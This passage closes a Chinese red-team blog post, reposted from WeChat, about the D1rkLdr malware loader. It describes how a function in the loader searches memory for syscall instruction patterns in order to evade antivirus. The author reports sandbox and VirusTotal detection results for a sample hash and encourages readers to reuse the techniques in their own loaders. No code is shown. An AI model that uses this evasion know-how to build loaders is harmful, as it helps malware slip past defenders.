如果以上的检查条件都满足,表示函数在这个地址处找到了系统调用指令的模式。然后,它返回该指令的地址偏移量,偏移量是相对于传入的 addr 地址的。
-
如果第一种模式的检查条件不满足,函数进入第二种模式的检查。它检查是否有 0xe9 指令的跳转语句。如果找到跳转语句,它会在一定的范围内搜索第一种模式的系统调用指令,以寻找系统调用指令,并返回指令地址的偏移量。
-
在第二种模式中,函数从当前地址向前或向后搜索,直到找到匹配的系统调用指令模式。在找到匹配的模式后,它返回该指令的地址偏移量,考虑到跳转指令的偏移量。
总的来说,这个函数用于解析一段内存中的二进制代码,以查找系统调用指令的地址,并返回该指令的地址偏移量。
简单的看一下效果如何
丢到微步沙箱
样本Sha256: 6951eb972e25932c3cc08211357c15b47e1e9e8a887d625d9e4931959d73aade
看起来尚可.
![红队免杀系列之自动化Loader解读(一) 红队免杀系列之自动化Loader解读(一)]()
丢到virustotal沙箱验证
6951eb972e25932c3cc08211357c15b47e1e9e8a887d625d9e4931959d73aade
检出率还是蛮高的,说明其实还需要做一点处理
![红队免杀系列之自动化Loader解读(一) 红队免杀系列之自动化Loader解读(一)]()
具体如何处理,仁者见仁智者见智啦。
简单的看一下效果如何
丢到微步沙箱
样本Sha256: 6951eb972e25932c3cc08211357c15b47e1e9e8a887d625d9e4931959d73aade
看起来尚可.
丢到virustotal沙箱验证
6951eb972e25932c3cc08211357c15b47e1e9e8a887d625d9e4931959d73aade
检出率还是蛮高的,说明其实还需要做一点处理
具体如何处理,仁者见仁智者见智啦。
本篇分析了D1rkLdr 加载器的一些代码特征,以及运用的一下规避技术,文章包含对代码的解读,实际在编写自己的加载器时也可以归纳总结这些公开的技术。
原文始发于微信公众号(JC的安全之路):红队免杀系列之自动化Loader解读(一)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论